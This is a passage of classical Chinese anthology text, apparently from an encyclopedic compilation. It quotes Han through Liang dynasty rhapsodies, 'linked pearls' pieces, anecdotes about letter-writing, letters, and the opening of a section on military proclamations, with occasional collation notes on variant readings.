挂 长 缨 于 朱 阙 . 反 素 褐 于 丘 园 . 靡 闲 风 于 林 下 . 镜 洋 流 之 清 澜 . 仰 浊 酒 以 箕 踞 . 闲 丝 竹 而 晤 言 .\n宋 颜 延 之 七 绎 曰 . 北 岳 孤 生 . 灭 迹 埋 声 . 名 歇 事 尽 . 道 畜 山 扃 . 东 国 进 士 . 谬 与 遇 焉 . 其 居 也 . 依 隐 嵁 阴 . 结 架 清 深 . 岩 屋 桥 构 . 澄 道 相 临 . 寒 荣 陇 首 . 繑 饮 江 浔 . 客 曰 . 周 以 岩 廊 . 匝 以 彩 房 . 木 写 云 气 . 土 秘 群 芳 . 既 旋 天 而 倒 井 . 又 斫 员 而 镂 方 . 松 上 箭 渚 . 药 苑 香 林 . 梁 涧 道 以 高 济 . 栈 岩 墱 而 上 寻 . 客 曰 . 若 夫 丹 山 之 奥 . 金 门 而 秘 . 地 首 岷 铜 . 川 上 汶 泗 . 裁 石 成 音 . 调 金 为 器 . 故 列 真 玩 其 微 鸣 . 辞 人 赋 其 清 懿 . 若 乃 梓 漆 简 声 . 丽 容 呈 才 . 陈 舞 态 . 开 吹 台 . 猎 悲 风 . 溯 秋 埃 . 既 而 昵 宾 献 寿 . 中 人 奉 膳 . 有 悄 者 颜 . 弗 怡 高 殿 . 视 华 鼓 之 繁 桴 . 听 边 笳 之 嘶 啭 . 飞 朱 鹭 以 首 引 . 逮 玄 云 而 终 变 . 然 后 簪 珥 摇 晖 . 庄 服 流 湎 . 抗 妍 歌 以 跕 . 扬 轻 袖 而 翳 面 . 杂 纷 披 于 巾 拂 . 递 闲 关 乎 槃 扇 .\n齐 竟 陵 王 宾 僚 七 要 曰 . 松 既 烟 而 接 汉 . 竹 缘 岭 而 负 筠 . 哀 过 鸿 于 月 晓 . 悲 夜 猿 于 霜 旻 . 乃 鹤 驾 之 非 远 . 信 羽 车 之 可 邻 . 鸿 池 广 象 . 太 液 染 华 . 势 含 五 水 . 气 疏 九 河 . 既 百 寻 而 照 底 . 亦 千 丈 而 分 沙 . 故 乘 流 以 神 王 . 或 鼓 地 而 目 多 . 岂 能 从 我 . 泛 此 安 波 .\n梁 萧 子 范 七 诱 曰 . 幽 遁 公 子 . 不 游 义 路 . 不 入 礼 门 .\n人 主 焉 得 为 臣 . 公 侯 难 以 为 容 . 有 暴 势 大 夫 . 驱 美 泽 之\n车 . 策 千 里 之 马 . 乃 至 公 子 之 所 居 . 大 夫 曰 . 收 苗 山 之\n铤 . 采 邪 溪 之 铜 . 既 云 时 吉 . 亦 曰 天 中 . 金 英 内 曜 . 银\n精 外 通 . 均 如 屈 杨 之 舒 彩 . 粲 若 芙 蓉 之 始 红 . 七 星 布 而\n成 列 . 五 色 变 而 无 穷 . 宝 兼 千 万 . 声 重 二 都 . 迈 兹 巨 阙\n. 超 彼 鹿 卢 . 呈 形 薛 烛 . 表 质 风 湖 . 大 夫 曰 . 玉 馔 方 丈\n. 蕙 肴 果 器 . 法 罄 吴 章 . 妙 穷 伊 挚 . 若 乃 豹 胎 之 贵 . 凤\n卵 之 珍 . 常 山 之 果 . 醴 水 之 鳞 . 大 夫 曰 . 访 幼 女 于 蔡 邕\n. 选 佳 人 于 赵 都 . 或 拾 翠 于 神 渚 . 或 采 桑 于 城 隅 . 见 者\n忘 锄 而 留 瞩 . 行 者 下 檐 而 踟 蹰 . 女 乃 歌 曰 . 井 上 李 兮 随\n风 摽 . 垂 翠 帷 兮 夜 难 晓 . 独 处 廓 兮 心 悄 悄 . 怀 素 缕 之 双\n针 . 愿 因 之 于 三 鸟 . 大 夫 曰 . 若 乃 帝 思 启 土 . 命 将 朔 方\n. 守 边 鄙 而 拥 角 节 . 集 兵 旅 而 驰 牙 璋 . 或 埋 轮 于 绝 域 .\n或 絷 马 于 遐 疆 . 功 格 宇 宙 . 威 振 蛮 荒 . 大 夫 曰 . 逸 态 之\n赤 兔 . 骏 足 之 骊 驹 . 龙 文 重 于 汉 厩 . 鱼 目 贵 于 西 都 . 若\n乃 似 鹿 之 体 . 如 龙 之 姿 . 以 紫 缕 . 系 以 青 丝 . 大 夫 曰\n. 冬 斩 阳 木 . 夏 伐 阴 材 . 剞 劂 之 功 咸 至 . 钩 绳 之 妙 并 来\n. 拟 天 文 而 特 建 . 象 地 户 而 高 开 . 丽 前 脩 之 金 屋 . 陋 曩\n日 之 璜 台 . 若 乃 缇 锦 遍 室 . 丹 青 被 土 . 白 珠 之 帘 . 水 精\n之 柱 . 绮 井 镂 而 重 葩 . 华 桶 焕 而 相 距 . 文 石 之 井 . 珊 瑚\n之 树 . 紫 复 峻 而 连 天 . 青 绮 高 而 干 雾 . 大 夫 曰 . 自 五 气\n初 运 . 二 灵 始 分 . 蛇 身 之 帝 . 牛 首 之 君 . 焉 足 道 哉 . 若\n乃 圣 皇 之 驭 国 . 得 附 枝 而 居 位 . 陋 重 华 之 聪 明 . 蔑 放 勋\n之 文 思 . 通 犀 文 甲 之 献 . 相 继 于 天 府 . 金 鹦 银 鸟 之 锡 .\n不 绝 于 史 书 . 当 此 之 日 . 子 能 佩 玉 而 侍 乎 . 公 子 竦 然 曰\n. 前 靡 靡 之 数 说 . 皆 非 鄙 性 之 所 娱 . 如 今 之 善 诱 . 请 就\n列 于 康 衢 .\n汉 杨 雄 连 珠 曰 . 臣 闻 明 君 取 士 . 贵 拔 众 之 所 遗 . 忠 臣 不 荐 . 善 废 格 而 所 排 . 是 以 岩 穴 无 隐 . 而 侧 陋 章 显 也 .\n汉 班 固 拟 连 珠 曰 . 臣 闻 公 输 爱 其 斧 . 故 能 妙 其 巧 . 明 主 贵 其 士 . 故 能 成 其 治 .\n臣 闻 良 匠 度 见 材 而 成 大 厦 . 明 主 器 其 士 而 建 功 业 .\n臣 闻 听 决 价 而 资 玉 者 . 无 楚 和 之 名 . 因 近 习 而 取 士 者 . 无 伯 玉 之 功 . 故 玙 璠 之 为 宝 . 非 驵 侩 之 术 也 . 伊 吕 之 佐 . 非 左 右 之 旧 .\n臣 闻 鸾 凤 养 六 翮 以 凌 云 . 帝 王 乘 英 雄 以 济 民 . 易 曰 . 鸿 渐 于 陆 . 其 羽 可 以 为 仪 .\n臣 闻 马 伏 阜 而 不 用 . 则 驽 与 良 而 为 群 . 士 齐 僚 而 不 职 . 则 贤 与 愚 而 不 分 .\n后 汉 潘 勖 拟 连 珠 曰 . 臣 闻 媚 上 以 布 利 者 . 臣 之 常 情 . 主 之 所 患 . 忘 身 以 忧 国 者 . 臣 之 所 难 . 主 之 所 愿 . 是 以 忠 臣 背 利 而 脩 所 难 . 明 主 排 患 而 获 所 愿 .\n魏 文 帝 连 珠 曰 . 盖 闻 琴 瑟 高 张 则 哀 弹 发 . 节 士 抗 行 则 荣 名 至 . 是 以 申 胥 流 音 于 南 极 . 苏 武 扬 声 于 朔 裔 . 盖 闻 四 节 异 气 以 成 岁 . 君 子 殊 道 以 成 名 . 故 微 子 奔 走 而 显 . 比 干 剖 心 而 荣 .\n盖 闻 驽 蹇 服 御 . 良 乐 咨 嗟 . 铅 刀 剖 截 . 区 冶 叹 息 . 故 少 师 幸 而 季 梁 惧 . 宰 嚭 任 而 伍 员 忧 .\n魏 王 粲 仿 连 珠 曰 . 臣 闻 明 主 之 举 也 . 不 待 近 习 . 圣 君 用 人 . 不 拘 毁 誉 . 故 吕 尚 一 见 而 为 师 . 陈 平 乌 集 而 为 辅 .\n臣 闻 记 功 志 过 . 君 臣 之 道 也 . 不 念 旧 恶 . 贤 人 之 业 也 . 是 以 齐 用 管 仲 而 霸 功 立 . 秦 任 孟 明 而 晋 耻 雪 .\n臣 闻 振 鹭 虽 材 . 非 六 翮 无 以 翔 四 海 . 帝 王 虽 贤 . 非 良 臣 无 以 济 天 下 .\n臣 闻 观 于 明 镜 . 则 疵 瑕 不 滞 于 躯 . 听 于 直 言 . 则 过 行 不 累 乎 身 .\n晋 陆 机 演 连 珠 曰 . 臣 闻 日 薄 星 回 . 穹 天 所 纪 物 . 山 盈 川 冲 . 厚 地 所 以 播 气 . 五 行 错 而 致 用 . 四 时 违 而 成 岁 . 是 以 百 官 恪 居 . 以 赴 八 音 之 离 . 明 君 执 契 . 以 要 克 谐 之 会 .\n臣 闻 髦 俊 之 才 . 世 所 希 乏 . 丘 园 之 秀 . 因 时 则 扬 . 是 以 大 人 基 命 . 不 擢 才 于 后 土 . 明 主 幸 与 . 不 降 佐 于 昊 苍 .\n臣 闻 禄 放 于 宠 . 非 隆 家 之 举 . 官 私 于 亲 . 非 兴 邦 之 选 . 是 以 三 卿 世 及 . 东 国 多 衰 弊 之 政 . 五 侯 并 轨 . 西 京 有 陵 夷 之 运 .\n臣 闻 灵 晖 朝 觏 . 称 物 纳 照 . 时 风 夕 洒 . 程 形 赋 音 . 是 以 至 道 之 行 . 万 类 取 足 于 世 . 大 化 既 洽 . 百 姓 无 匮 于 心 .\n臣 闻 鉴 之 积 也 无 厚 . 而 照 有 重 泉 之 深 . 目 之 察 也 有 畔 . 而 饣 周 天 壤 之 际 . 何 则 . 应 事 以 精 不 以 形 . 造 物 以 神 不 以 器 . 是 以 万 邦 凯 乐 . 非 悦 钟 鼓 之 娱 . 天 下 归 仁 . 非 感 玉 帛 之 惠 .\n臣 闻 智 周 通 塞 . 不 为 时 穷 . 才 经 夷 险 . 不 为 势 屈 . 是 以 凌 霄 之 羽 . 不 求 反 风 . 曜 夜 之 目 . 不 思 倒 日 .\n臣 闻 利 眼 临 云 . 不 能 垂 照 . 朗 璞 蒙 垢 . 不 能 吐 辉 . 是 以 明 哲 之 君 . 时 有 蔽 壅 之 累 . 俊 乂 之 臣 . 屡 抱 后 时 之 悲 .\n臣 闻 因 云 洒 润 . 则 芳 泽 易 流 . 垂 风 载 响 . 则 音 徽 自 远 . 是 以 德 教 俟 物 而 济 . 荣 名 缘 时 而 显 .\n臣 闻 弦 有 常 音 . 故 曲 终 则 改 . 镜 无 畜 影 . 故 触 形 则 照 . 是 以 虚 己 应 物 . 必 究 千 变 之 容 . 挟 情 适 事 . 不 观 万 殊 之 妙 .\n臣 闻 目 无 常 音 之 察 . 耳 无 照 景 之 神 . 故 在 乎 我 者 . 不 殊 之 于 己 . 存 乎 物 者 . 不 求 备 于 人 .\n臣 闻 触 非 其 类 . 虽 疾 弗 应 . 感 以 其 方 . 虽 微 则 顺 . 是 以 商 飙 漂 山 . 不 兴 盈 尺 之 云 . 谷 风 垂 条 . 必 降 弥 天 之 润 . 故 闇 于 理 者 . 唱 繁 而 和 寡 . 审 乎 物 者 . 力 约 而 功 峻 .\n宋 谢 惠 连 连 珠 曰 . 盖 闻 献 技 者 易 忽 . 养 德 者 难 致 . 是 以 子 张 重 趼 . 不 获 哀 公 之 禄 . 干 木 偃 息 . 不 受 文 侯 之 位 .\n盖 闻 机 心 难 湛 . 不 接 异 类 . 淳 德 易 孚 . 可 狎 殊 方 . 是 以 高 罗 举 而 云 鸟 降 . 海 人 萃 而 水 禽 翔 .\n盖 闻 春 兰 早 芳 . 实 忌 鸣 鴃 . 秋 菊 晚 秀 . 无 惮 繁 霜 . 何 则 . 荣 乎 始 者 易 悴 . 贞 乎 末 者 难 伤 . 是 以 傅 长 沙 而 志 沮 . 登 金 马 而 名 扬 .\n盖 闻 脩 己 知 足 . 虑 德 其 逸 . 竟 荣 昧 进 . 志 忘 其 审 . 是 以 饮 河 满 肠 . 而 求 安 愈 泰 . 缘 木 务 高 . 而 畏 下 滋 甚 .\n宋 颜 延 之 范 连 珠 曰 . 盖 闻 夫 履 顺 则 天 地 不 违 一 物 . 投 诚 则 神 明 可 交 . 事 有 微 而 逾 着 . 理 有 闇 而 必 昭 . 是 以 鲁 阳 倾 首 . 离 光 为 之 反 舍 . 有 鸟 拂 波 . 河 伯 为 之 不 潮 .\n齐 王 俭 畅 连 珠 曰 . 盖 闻 王 佐 之 才 虽 远 . 岂 必 见 采 于 当 世 . 陵 云 之 气 徒 盛 . 无 以 自 致 于 云 间 . 是 故 魏 人 指 玉 于 外 野 . 和 氏 泣 血 于 荆 山 .\n梁 武 帝 连 珠 曰 . 盖 闻 水 镜 不 以 妍 蚩 殊 照 . 芝 兰 宁 为 贵 贱 异 芳 . 是 以 弘 道 归 于 兼 济 . 至 德 由 乎 两 忘 .\n盖 闻 一 眚 不 足 以 掩 德 . 五 刑 非 可 以 妄 加 . 是 以 径 寸 之 珍 . 有 时 而 颣 . 盈 尺 之 宝 . 不 能 无 瑕 .\n盖 闻 理 渐 其 萌 . 岂 须 拔 岳 之 力 . 物 有 易 伤 . 不 待 凌 云 之 缴 . 是 以 微 照 积 而 山 飘 . 虚 弦 动 而 隼 落 .\n梁 宣 帝 连 珠 曰 . 常 闻 盈 虚 之 道 . 虽 脩 平 而 必 陂 . 损 益 之 由 . 在 至 象 而 无 蠲 . 是 以 谓 地 之 厚 . 而 东 南 缺 . 唯 天 为 大 . 而 西 北 悬 .\n常 闻 山 有 藏 玉 . 则 卉 草 常 荣 . 林 有 猛 兽 . 则 丛 枝 莫 采 . 是 以 汉 仪 重 见 . 皇 王 之 迹 有 真 . 周 礼 犹 存 . 龟 蒙 之 田 无 改 .\n梁 沈 约 连 珠 曰 . 臣 闻 烈 风 虽 震 . 不 断 蔓 草 之 根 . 朽 壤 诚 微 . 遂 霣 崇 山 之 峭 . 是 以 一 夫 不 佳 . 威 于 赫 怒 . 千 乘 必 致 . 亡 于 巧 笑 .\n臣 闻 鸣 籁 受 响 . 非 有 志 于 要 风 . 涓 流 长 迈 . 宁 厝 心 于 归 海 . 是 以 万 窍 怒 号 . 不 叩 而 咸 应 . 百 川 是 纳 . 用 卑 而 为 宰 .\n梁 吴 筠 连 珠 曰 . 盖 闻 艳 丽 居 身 . 而 以 蛾 眉 入 妒 . 贞 华 照 物 . 而 以 绝 等 见 猜 . 是 以 班 姬 辞 宠 . 非 无 妖 冶 之 色 . 阳 子 寂 寞 . 岂 乏 炫 曜 之 才 .\n盖 闻 义 夫 投 节 . 未 必 识 君 . 烈 士 赴 危 . 非 期 要 利 . 是 以 墨 子 萦 带 . 不 蒙 肉 食 之 谋 . 申 胥 泣 血 . 非 有 执 圭 之 位 .\n梁 刘 孝 仪 探 物 作 艳 体 连 珠 曰 . 妾 闻 洛 妃 高 髻 . 不 姿 于 芳 泽 . 玄 妻 长 发 . 无 籍 于 金 钿 . 故 云 名 由 于 自 美 . 蝉 称 得 于 天 然 . 是 以 梁 妻 独 其 妖 艳 . 卫 姬 专 其 可 怜 .\n妾 闻 芳 性 深 情 . 虽 欲 忘 而 不 歇 . 薰 芬 动 虑 . 事 逾 久 而 更 思 . 是 以 津 亭 掩 馥 . 秖 结 秦 妇 之 恨 . 爵 台 余 妒 . 追 生 魏 妾 之 悲 .\n【 表 】 梁 沈 约 注 制 旨 连 珠 表 曰 . 窃 寻 连 珠 之 作 . 始 自\n子 云 . 放 易 象 论 . 动 模 经 诰 . 班 固 谓 之 命 世 . 桓 谭 以 为\n绝 伦 . 连 珠 者 . 盖 谓 辞 句 连 续 . 互 相 发 明 . 若 珠 之 结 排\n也 . 虽 复 金 镳 互 骋 . 玉 轪 并 驰 . 妍 蚩 优 劣 . 参 差 相 间 .\n翔 禽 伏 兽 . 易 以 心 威 . 守 株 胶 瑟 . 难 与 适 变 . 水 镜 芝 兰\n. 随 其 所 遇 . 明 珠 燕 石 . 贵 贱 相 悬 .\n汉 书 曰 . 苏 武 使 匈 奴 . 被 留 . 昭 帝 即 位 . 求 武 等 . 匈 奴 言 武 已 死 . 后 汉 使 至 匈 奴 . 教 者 谓 单 于 . 言 天 子 射 上 林 中 . 雁 足 有 系 帛 书 . 言 武 等 在 某 泽 中 . 单 于 顾 左 右 而 惊 . 谢 汉 使 曰 . 武 等 实 在 . 于 是 遣 还 . 事 具 鸟 部 雁 篇 .\n汉 书 曰 . 陈 遵 为 河 南 太 守 . 既 至 官 . 遣 从 吏 . 乃 召 善 书 吏 十 人 于 前 . 治 私 书 . 谢 京 师 故 人 . 遵 凭 几 口 授 书 吏 . 且 省 官 事 . 数 百 封 亲 疏 各 有 意 .\n又 曰 . 谷 永 . 字 子 云 . 便 于 笔 札 . 故 时 人 云 . 谷 子 云 之 笔 札 . 楼 君 卿 之 唇 舌 .\n吴 录 曰 . 王 宏 为 冀 州 刺 史 . 不 发 私 书 . 不 交 豪 族 . 号 曰 王 独 坐 .\n典 略 曰 . 太 祖 尝 使 阮 瑀 作 书 与 韩 遂 . 于 马 上 具 草 . 书 成 呈 之 . 太 祖 览 ○ 太 平 御 览 五 百 九 十 五 作 揽 . 笔 欲 有 所 定 . 而 竟 不 能 增 损 .\n嵇 康 与 山 涛 书 曰 . 素 不 便 书 . 不 喜 作 书 . 而 人 闲 多 事 . 堆 案 盈 几 . 不 相 酬 答 . 则 犯 教 伤 义 . 欲 自 勉 强 . 则 不 能 久 堪 .\n蜀 志 曰 . 王 平 . 字 子 均 . 生 长 戎 旅 . 手 不 能 书 . 所 识 不 过 十 字 . 而 占 授 作 书 皆 有 意 . 使 人 读 史 汉 诸 书 听 之 . 通 知 其 义 . 往 往 论 说 . 不 失 其 旨 .\n鲁 国 先 贤 志 曰 . 孔 翊 为 洛 阳 令 . 置 器 水 于 前 庭 . 得 私 书 . 皆 投 其 中 . 一 无 所 发 . 弹 治 贵 戚 . 无 所 回 避 .\n张 华 别 传 曰 . 大 驾 西 征 钟 会 . 至 长 安 . 华 兼 中 书 侍 郎 . 从 行 . 掌 军 事 中 书 疏 表 檄 . 文 帝 善 之 .\n语 林 曰 . 殷 洪 乔 作 豫 章 郡 . 临 去 . 人 寄 百 余 函 书 . 既 至 石 头 . 悉 掷 水 中 . 因 之 曰 . 沉 者 自 沉 . 浮 者 自 浮 . 殷 洪 乔 不 能 作 达 书 邮 .\n沈 约 宋 书 曰 . 刘 穆 之 朱 龄 石 . 并 便 尺 牍 . 尝 于 高 祖 坐 . 与 龄 石 共 答 书 . 自 旦 至 日 中 . 穆 之 得 百 函 . 龄 石 得 八 十 函 . 而 穆 之 应 对 无 废 .\n【 书 】 汉 邹 阳 上 书 梁 王 曰 . 昔 者 荆 轲 慕 燕 丹 之 义 . 白 虹 贯 日 . 太 子 畏 之 . 卫 先 生 为 秦 画 长 平 之 事 . 太 白 食 昴 . 昭 王 疑 之 . 夫 精 变 天 地 . 而 信 不 谕 两 主 . 岂 不 哀 哉 . 昔 玉 人 献 宝 . 楚 王 诛 之 . 李 斯 竭 忠 . 胡 亥 极 刑 . 是 以 箕 子 佯 狂 . 接 舆 避 世 . 语 曰 . 白 头 如 新 . 倾 盖 如 故 . 苏 秦 相 燕 . 人 恶 之 于 燕 王 . 燕 王 按 剑 而 怒 . 食 以 駃 騠 . 白 圭 显 于 中 山 . 人 恶 之 于 魏 文 侯 . 文 侯 投 以 夜 光 之 璧 . 女 无 美 恶 . 入 宫 见 妒 . 士 无 贤 不 肖 . 入 朝 见 嫉 . 故 百 里 奚 乞 食 于 道 . 缪 公 委 之 以 政 . 宁 戚 饭 牛 车 下 . 桓 公 任 之 以 国 . 此 二 者 . 岂 素 官 于 朝 . 借 誉 左 右 . 然 后 二 主 用 之 哉 . 昔 鲁 听 季 孙 之 说 . 逐 孔 子 . 宋 信 子 舟 之 计 . 囚 墨 翟 . 夫 以 孔 墨 之 辩 . 不 能 自 免 于 谗 谀 . 而 二 国 以 危 . 何 则 . 众 口 铄 金 . 积 毁 消 骨 也 . 今 人 主 诚 能 去 骄 傲 之 心 . 怀 可 报 之 意 . 则 桀 之 狗 可 使 吠 尧 . 跖 之 客 可 使 刺 由 . 况 因 万 乘 之 权 . 假 圣 王 之 资 乎 . 臣 闻 明 月 之 珠 . 夜 光 之 璧 . 以 闇 投 人 于 道 . 众 莫 不 按 剑 相 眄 者 . 何 则 . 无 因 而 至 前 也 . 蟠 木 根 柢 . 轮 囷 离 奇 . 而 为 万 乘 器 者 . 以 左 右 先 为 之 容 也 .\n后 汉 班 固 上 书 东 平 王 曰 . 必 有 非 常 之 人 . 然 后 有 非 常 之 事 . 有 非 常 之 事 . 然 后 有 非 常 之 功 . 将 军 膺 千 年 之 任 . 蹑 先 王 之 踪 . 体 弘 懿 之 资 . 据 高 明 之 势 . 昔 卞 和 献 宝 . 以 罹 折 趾 . 屈 子 纳 忠 . 终 于 沉 身 . 已 而 和 氏 之 璧 . 千 载 垂 光 . 屈 子 之 篇 . 万 世 弥 章 .\n齐 陆 厥 与 沈 约 书 问 声 韵 曰 . 长 门 上 林 . 殆 非 一 家 之 赋 . 洛 神 池 雁 . 便 成 二 体 之 作 . 孟 坚 精 整 . 咏 史 无 亏 于 东 主 . 平 子 恢 富 . 羽 猎 不 累 于 凭 虚 . 王 粲 初 征 . 他 文 未 能 称 是 . 杨 脩 敏 捷 . 暑 赋 弥 日 不 献 . 率 意 寡 尤 . 则 从 事 乎 一 日 . 医 医 ○ 南 齐 书 五 十 二 陆 厥 传 作 翳 翳 . 愈 伏 . 而 理 赊 于 七 步 . 一 人 之 思 . 迟 速 天 悬 . 一 家 之 文 . 工 拙 壤 隔 . 何 独 宫 商 律 吕 . 必 责 其 一 人 也 .\n梁 简 文 帝 答 张 缵 谢 示 集 曰 . 缵 好 文 章 . 于 今 二 十 五 载 矣 . 窃 尝 论 之 . 日 月 参 辰 . 火 龙 黼 黻 . 尚 且 着 于 玄 象 . 章 乎 人 事 . 而 况 文 辞 可 止 . 咏 歌 可 辍 乎 . 不 为 壮 夫 . 杨 雄 实 小 言 破 道 . 非 谓 君 子 . 曹 植 亦 小 辩 破 言 . 论 之 科 刑 . 罪 在 不 赦 . 至 如 春 庭 落 景 . 转 蕙 承 风 . 秋 雨 旦 晴 . 檐 梧 初 下 . 浮 云 生 野 . 明 月 入 楼 . 时 命 亲 宾 . 乍 动 严 驾 . 车 渠 屡 酌 . 鹦 鹉 骤 倾 . 伊 昔 三 边 . 久 留 四 战 . 胡 雾 连 天 . 征 旗 拂 日 . 时 闻 坞 笛 . 遥 听 塞 笳 . 或 乡 思 凄 然 . 或 雄 心 愤 薄 . 是 以 沉 吟 短 翰 . 补 缀 庸 音 . 寓 目 写 心 . 因 事 而 作 .\n又 答 新 渝 侯 和 诗 书 曰 . 垂 示 三 首 . 风 云 吐 于 行 间 . 珠 玉 生 于 字 里 . 跨 蹑 曹 左 . 含 超 潘 陆 . 双 鬓 向 光 . 风 流 已 绝 . 九 梁 插 花 . 步 摇 为 古 . 高 楼 怀 怨 . 结 眉 表 色 . 长 门 下 泣 . 破 粉 成 痕 . 复 有 影 里 细 腰 . 令 与 真 类 . 镜 中 好 面 . 还 将 尽 ○ 全 梁 文 十 一 作 画 . 等 . 此 皆 性 情 卓 绝 . 亲 致 英 奇 . 故 知 吹 萧 入 秦 . 方 识 来 凤 之 巧 . 鸣 瑟 向 赵 . 始 睹 驻 云 之 曲 . 手 持 口 诵 . 喜 荷 交 并 .\n梁 元 帝 答 刘 缩 求 述 制 旨 义 书 曰 . 学 山 学 海 . 未 臻 其 极 . 为 龙 为 光 . 或 从 王 事 . 所 赖 昔 经 陕 服 . 颇 足 良 书 . 凭 几 据 梧 . 静 供 游 目 . 枕 中 之 记 . 即 用 为 枕 . 帷 前 之 秩 . 仍 可 为 帷 . 对 此 自 娱 . 敬 而 待 命 . 叩 而 必 应 . 已 谢 悬 钟 . 汲 而 无 竭 . 复 乖 井 养 .\n梁 沈 约 与 范 述 曾 论 竟 陵 王 赋 书 曰 . 夫 眇 泛 沧 流 . 则 不 识 涯 涘 . 杂 陈 钟 石 . 则 莫 辩 宫 商 . 虽 复 吟 诵 环 回 . 编 离 字 灭 . 终 无 所 辩 . 仰 酬 睿 旨 . 微 表 寸 长 .\n梁 刘 孝 绰 答 梁 元 帝 书 曰 . 伏 承 自 辞 皇 邑 . 爰 至 荆 台 . 未 劳 刺 举 . 且 摛 高 丽 . 近 虽 预 观 寸 锦 . 而 不 睹 金 玉 . 昔 临 涡 辞 赋 . 悉 与 杨 循 . ○ 全 梁 文 六 十 作 修 . 未 殚 宝 笥 . 顾 惭 先 哲 .\n梁 江 淹 诣 宋 建 平 王 上 书 曰 . 昔 者 贱 臣 叩 心 . 飞 霜 击 于 燕 地 . 庶 女 告 天 . 振 风 袭 于 齐 台 . 下 官 蓬 户 桑 枢 之 民 . 布 衣 麻 带 之 士 . 谬 得 升 降 承 明 之 阙 . 出 入 金 华 之 殿 . 何 尝 不 局 影 凝 严 . 侧 身 扃 禁 者 乎 . 宁 当 争 分 寸 之 末 . 竞 锥 刀 之 利 . 积 毁 消 金 . 积 谗 摩 骨 . 远 则 直 生 取 疑 于 盗 金 . 近 则 伯 鱼 被 名 于 不 义 .\n梁 刘 之 遴 与 刘 孝 标 书 曰 . 闲 闻 足 下 作 类 苑 . 括 综 百 家 . 驰 骋 千 载 . 弥 纶 天 地 . 缠 络 万 品 . 撮 道 略 之 英 华 . 搜 群 言 之 隐 赜 . 铅 摘 既 毕 . 杀 青 已 就 . 义 以 类 聚 . 事 以 群 分 . 述 征 之 妙 . 杨 班 俦 也 . 擅 此 博 物 . 何 快 如 之 . 虽 复 子 野 调 声 . 寄 知 音 于 后 世 . 文 信 构 览 . 悬 百 金 于 当 时 . 居 然 无 以 相 尚 . 自 非 沉 郁 澹 雅 之 思 . 安 能 ● 志 经 年 . 勤 成 若 此 . 吾 尝 闻 为 之 者 劳 . 观 之 者 逸 . 足 下 已 劳 于 精 力 . 宜 令 吾 见 异 书 .\n梁 刘 孝 标 答 刘 之 遴 借 类 苑 书 曰 . 九 冬 有 隙 . 三 余 暇 时\n. 多 游 书 圃 . 代 树 萱 苏 . 若 夫 采 亹 亹 于 缃 纨 . 阅 微 言 于\n残 竹 . 嗢 饫 膏 液 . 咀 嚼 英 华 . 不 知 地 之 为 舆 . 天 之 为 盖\n. 靡 测 回 塘 . 莫 辩 舆 马 . 乌 足 以 言 乎 . 是 用 周 流 坟 素 .\n详 观 图 谍 . 搦 管 联 册 . 纂 兹 英 奇 . 蛩 蛩 之 谋 . 止 于 善 草\n. 周 周 之 计 . 利 在 衔 翼 . 故 鸠 集 斯 文 . 盖 自 缀 其 漏 耳 .\n岂 冀 藏 山 之 石 . 播 于 士 大 夫 哉 .\n释 名 曰 . 檄 . 激 也 . 下 官 所 以 激 迎 其 上 之 书 文 也 .\n汉 书 曰 . 申 屠 嘉 为 丞 相 . 邓 通 居 上 旁 . 怠 慢 . 嘉 为 檄 召 通 曰 . 不 来 且 斩 . 通 恐 . 入 言 于 上 . 上 曰 . 速 往 . 吾 令 召 汝 . 通 至 丞 相 府 . 免 冠 徒 跣 顿 首 谢 .\n东 观 汉 记 曰 . 光 武 数 召 诸 将 . 置 酒 赏 赐 . 坐 席 之 闲 . 以 要 其 死 力 . 当 此 之 时 . 贼 檄 日 以 百 数 . 忧 不 可 胜 . 上 犹 以 余 闲 讲 经 艺 .\n又 曰 . 隗 嚣 . 故 宰 府 掾 吏 . 善 为 文 书 . 每 上 书 移 檄 . 士 大 夫 莫 不 讽 诵 .\n又 曰 . 庐 江 毛 义 . 少 时 家 贫 . 以 孝 行 称 . 南 阳 张 奉 慕 其 义 . 往 候 之 . 坐 定 而 府 檄 适 至 . 以 义 守 令 . 义 奉 檄 而 入 . 喜 动 颜 色 .\n典 略 曰 . 张 仪 . 魏 人 . 常 从 楚 相 饮 . 楚 相 亡 璧 . 意 仪 盗 之 . 掠 笞 数 百 . 既 相 秦 . 为 檄 告 楚 相 曰 . 吾 从 汝 饮 . 不 盗 汝 璧 . 善 守 汝 国 . 我 且 盗 汝 城 .\n又 曰 . 陈 琳 作 诸 书 及 檄 草 成 . 呈 太 祖 . 太 祖 先 苦 头 风 . 是 日 疾 发 . 卧 读 琳 所 制 . 翕 然 而 起 曰 . 此 愈 我 病 . 数 加 厚 赐 .\n魏 志 曰 . 孙 放 善 为 书 檄 . 三 祖 谘 命 招 喻 . 多 放 所 为 .\n李 充 起 居 戒 曰 . 军 书 羽 檄 . 非 儒 者 之 事 . 且 家 奉 道 法 . 言 不 及 杀 . 语 不 虚 诞 . 而 檄 不 切 厉 则 敌 心 陵 . 言 不 夸 壮 则 军 容 弱 . 请 姑 舍 之 . 以 拟 能 者 .\n续 晋 阳 秋 曰 . 何 忌 母 . 刘 牢 之 姊 也 . 忌 与 高 祖 谋 . 夜 于 屏 风 里 制 檄 文 . 母 潜 登 屏 风 上 窥 . 既 知 其 谋 . 大 喜 曰 . 汝 能 如 此 . 吾 雠 耻 雪 矣 .\n【 檄 文 】 汉 司 马 相 如 喻 巴 蜀 檄 文 曰 . 夫 边 郡 之 士 . 闻 烽 举 燧 . 皆 摄 弓 而 驰 . 荷 兵 而 走 . 流 汗 相 属 . 唯 恐 居 后 . 触 白 刃 . 冒 流 矢 . 议 不 反 顾 . 计 不 旋 踵 . 彼 岂 乐 死 恶 生 . 而 巴 蜀 异 主 哉 . 计 深 虑 远 . 急 国 家 之 难 . 而 乐 尽 人 臣 之 道 也 . 故 有 剖 符 之 封 . 折 珪 而 爵 . 终 则 遗 显 号 于 后 世 . 传 土 地 于 子 孙 . 名 声 施 于 无 穷 . 功 烈 着 于 不 灭 . 是 以 贤 人 君 子 . 肝 脑 涂 中 原 . 膏 泽 润 野 草 . 而 不 辞 也 . 今 奉 币 役 至 南 夷 . 即 自 贼 杀 . 或 亡 逃 抵 诛 . 身 死 无 名 . 谥 为 至 愚 . 耻 及 父 母 . 为 天 下 笑 . 人 之 度 量 . 相 越 岂 不 远 哉 .\n魏 陈 琳 为 袁 绍 檄 豫 州 曰 . 操 父 嵩 . 乞 丐 携 养 . 因 赃 假 位 . 舆 金 攒 璧 . 输 货 权 门 . 窃 盗 鼎 司 . 倾 覆 重 器 . 续 遇 董 卓 . 侵 官 暴 国 . 于 是 收 罗 英 